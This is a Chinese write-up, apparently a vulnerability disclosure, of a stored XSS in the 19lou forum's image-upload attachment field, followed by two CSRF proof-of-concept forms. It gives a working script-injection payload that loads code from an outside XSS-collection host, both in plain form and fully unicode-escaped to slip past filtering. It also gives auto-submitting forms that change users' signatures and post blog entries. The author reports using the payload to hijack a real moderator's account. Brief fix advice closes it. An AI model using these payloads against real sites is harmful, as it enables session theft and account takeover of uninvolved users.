上传一张图片,然后点发布!

用FIDDLER2截包,先放过这个接口的数据,这个不是重点。

这个才是重点。

十九楼存储型小松鼠(XSS),暗杀十九楼小帮办以及各位超级版主

这个POST包中,attachments对传入数据的过滤不严格。

经过测试,直接在图片地址中加入">会系统错误,返回HTTP500错误。

目测,[{ }]这样子的几乎都能用JS的UNICODE转义插入在POST,转义后就是\u0022\u003e

我们把\u0022\u003e插在name中最后的.png后面。

看看效果

十九楼存储型小松鼠(XSS),暗杀十九楼小帮办以及各位超级版主

果断测漏了,我们再次编辑,在后面加上自己的JS代码即可~~


"><script src=http://xsser.me/UZH56T></script><img high=0 weight=0

我用这段代码进行测试,后面的<img high=0 weight=0 是为了屏蔽测漏的信息,达到更好的隐藏效果。

上面那段话经过js的unicode转义后就是这样,同样插入到.png的后面


\u0022\u003e\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0073\u0073\u0065\u0072\u002e\u006d\u0065\u002f\u0055\u005a\u0048\u0035\u0036\u0054\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u003c\u0069\u006d\u0067\u0020\u0068\u0069\u0067\u0068\u003d\u0030\u0020\u0077\u0065\u0069\u0067\u0068\u0074\u003d\u0030\u0020

顺利插入~

其中暗杀了一个小帮办~

十九楼存储型小松鼠(XSS),暗杀十九楼小帮办以及各位超级版主

各类权限

十九楼存储型小松鼠(XSS),暗杀十九楼小帮办以及各位超级版主

成果。

十九楼存储型小松鼠(XSS),暗杀十九楼小帮办以及各位超级版主


 

=========CSRF=========
改签名

<html>
<body>
<form id="imlonghao" name="imlonghao" action="" method="post">
<input type="text" name="sign_text" value="XXX" />
</form>
<script>
 document.imlonghao.submit();
</script>
</body>
</html>

发博客

<html>
<body>
<form id="imlonghao" name="imlonghao" action="" method="post">
<input type="text" name="subject" value="TITLE" />
<input type="text" name="content" value="BODYBODYBODYBODYBODYBODYBODY" />
</form>
<script>
 document.imlonghao.submit();
</script>
</body>
</html>

目测CSRF还有很多,自己检查检查吧~~~~

修复方案:XSS:
attachments中过滤js的unicode转义,过滤">等等。
同时,加上HTTPONLY,详见关于HTTPONLY的那点事( 关于HTTPONLY的那点事 )